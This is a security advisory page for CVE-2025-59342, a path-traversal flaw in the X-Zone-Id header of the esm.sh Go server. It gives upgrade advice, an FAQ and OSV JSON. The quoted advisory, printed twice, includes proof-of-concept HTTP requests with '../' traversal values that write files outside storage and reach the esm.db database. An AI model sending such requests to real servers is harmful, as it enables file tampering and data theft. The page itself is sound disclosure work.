CVE-2025-59342: Github.com/esm dev/esm.sh Path Traversal Vulnerability

MODERATE
Advisory Identifier: GHSA-g2h5-cvvr-7gmw
CWE-24
Published
Advisory Summary

CVE-2025-59342 is a MODERATE path traversal vulnerability (CWE-24: Path Traversal: '../filedir') affecting Github.com/esm dev/esm.sh libraries in the Go ecosystem. The issue involves esm.sh has arbitrary file write via path traversal in `x-zone-id` header. Remediation is available by upgrading affected packages to version 136.1.

CVE-2025-59342 at a Glance

CVE Identifier CVE-2025-59342
GHSA Identifier GHSA-g2h5-cvvr-7gmw
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-24: Path Traversal: '../filedir'
Affected Product Github.com/esm dev/esm.sh
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2025-59342

To remediate this vulnerability, upgrade all affected Github.com/esm dev/esm.sh dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/esm-dev/esm.sh fixed: 136.1
Upgrade github.com/esm-dev/esm.sh to 136.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/esm-dev/esm.sh

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-59342, inspect your project dependencies for Github.com/esm dev/esm.sh:

inspect dependencies for github.com/esm-dev/esm.sh

Analyze the terminal output to locate any version of Github.com/esm dev/esm.sh in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 136.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-24: Path Traversal: '../filedir', where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory. In Github.com/esm dev/esm.sh, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A path-traversal flaw in the handling of the `X-Zone-Id` HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying `../` sequences in `X-Zone-Id` causes files to be written to arbitrary directories (example observed: `~/.esmd/modules/transform/<id>/` instead of `~/.esmd/storage/modules/transform`). **Severity:** Medium **Component / Endpoint:** `POST /transform` — handling of `X-Zone-Id` header The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411 **Impact:** Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks. --- ## Proof of Concept (POC) Request (attacker-supplied `X-Zone-Id` contains path traversal): ``` POST /transform HTTP/1.1 Host: localhost:8888 User-Agent: Den/8.7.1 Accept: */* Connection: keep-alive Referer: http://localhost:9999/ Content-Type: application/json X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/ Content-Length: 325 { "filename": "example2.js", "lang": "js", "code": "console.log('hello');", "importMap": { "imports": { "react": "https://esm.sh/react", "react-dom": "https://esm.sh/react-dom" } }, "jsxImportSource": "react", "target": "es2022", "sourceMap": "external", "minify": true } ``` <img width="2496" height="1214" alt="Screenshot 2025-09-16 at 21 40 57" src="https://github.com/user-attachments/assets/f878c3f0-5d7d-410c-97ac-20116f5496db" /> Observed result: file written to `~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js` instead of the intended `~/.esmd/storage/modules/transform/`. This can be trigger with another path traversal request below ``` GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1 Host: localhost:8888 User-Agent: localhost Accept: */* Connection: keep-alive X-Zone-Id: ../ Referer: http://localhost:9999/ ``` <img width="2516" height="710" alt="Screenshot 2025-09-16 at 21 37 07" src="https://github.com/user-attachments/assets/1fcfbed3-c1d2-4093-82d8-4afda225c685" /> --- ## Remediation Simply remove any .. in the `X-Zone-Id` header before actually process the file. ## Credits - [Ai Ho (Jessie)](https://github.com/j3ssie) - [CL Yang](https://github.com/A11riseforme)

CVE-2025-59342 Affected Github.com/esm dev/esm.sh Versions

1 component(s)
Fixed Versions:
136.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/esm-dev/esm.sh
Go
< 136.1
136.1

References

Frequently Asked Questions

What is CVE-2025-59342?
CVE-2025-59342 is a security vulnerability in Github.com/esm dev/esm.sh involving esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header under CWE-24: Path Traversal: '../filedir'.
Which Github.com/esm dev/esm.sh versions are affected?
Affected versions include releases prior to 136.1 across affected packages: github.com/esm-dev/esm.sh.
What version fixes CVE-2025-59342?
Upgrading to 136.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/esm-dev/esm.sh affected?
Yes, github.com/esm-dev/esm.sh is affected in releases prior to 136.1. Upgrade your dependency to 136.1 or later.
What CWE is associated with CVE-2025-59342?
CVE-2025-59342 is classified under CWE-24: Path Traversal: '../filedir' (The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.).
How can I check Go dependencies for CVE-2025-59342?
Run the dependency tree command: 'inspect dependencies for github.com/esm-dev/esm.sh'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g2h5-cvvr-7gmw",
  "modified" : "2026-01-14T15:51:07Z",
  "published" : "2025-09-17T19:03:05Z",
  "aliases" : [ "CVE-2025-59342" ],
  "summary" : "esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header",
  "details" : "## Summary\n\nA path-traversal flaw in the handling of the `X-Zone-Id` HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying `../` sequences in `X-Zone-Id` causes files to be written to arbitrary directories (example observed: `~/.esmd/modules/transform/<id>/` instead of `~/.esmd/storage/modules/transform`).\n\n**Severity:** Medium\n\n**Component / Endpoint:** \n\n`POST /transform` — handling of `X-Zone-Id` header\n\nThe vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411 \n\n**Impact:** Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.\n\n---\n\n## Proof of Concept (POC)\n\nRequest (attacker-supplied `X-Zone-Id` contains path traversal):\n\n```\nPOST /transform HTTP/1.1\nHost: localhost:8888\nUser-Agent: Den/8.7.1\nAccept: */*\nConnection: keep-alive\nReferer: http://localhost:9999/\nContent-Type: application/json\nX-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/\nContent-Length: 325\n\n{\n  \"filename\": \"example2.js\",\n  \"lang\": \"js\",\n  \"code\": \"console.log('hello');\",\n  \"importMap\": {\n    \"imports\": {\n      \"react\": \"https://esm.sh/react\",\n      \"react-dom\": \"https://esm.sh/react-dom\"\n    }\n  },\n  \"jsxImportSource\": \"react\",\n  \"target\": \"es2022\",\n  \"sourceMap\": \"external\",\n  \"minify\": true\n}\n```\n<img width=\"2496\" height=\"1214\" alt=\"Screenshot 2025-09-16 at 21 40 57\" src=\"https://github.com/user-attachments/assets/f878c3f0-5d7d-410c-97ac-20116f5496db\" />\n\n\nObserved result: file written to `~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js` instead of the intended `~/.esmd/storage/modules/transform/`.\n\nThis can be trigger with another path traversal request below\n\n```\nGET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1\nHost: localhost:8888\nUser-Agent: localhost\nAccept: */*\nConnection: keep-alive\nX-Zone-Id: ../\nReferer: http://localhost:9999/\n\n```\n<img width=\"2516\" height=\"710\" alt=\"Screenshot 2025-09-16 at 21 37 07\" src=\"https://github.com/user-attachments/assets/1fcfbed3-c1d2-4093-82d8-4afda225c685\" />\n\n---\n\n## Remediation\n\nSimply remove any .. in the `X-Zone-Id` header before actually process the file.\n\n## Credits\n\n- [Ai Ho (Jessie)](https://github.com/j3ssie)\n- [CL Yang](https://github.com/A11riseforme)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/esm-dev/esm.sh"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "136.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 136"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-g2h5-cvvr-7gmw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-59342"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/commit/833a29f42aeb0acbd7089a71be11dd0a292d3151"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/esm-dev/esm.sh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2025-3967"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-24" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-09-17T19:03:05Z",
    "nvd_published_at" : "2025-09-17T18:15:53Z"
  }
}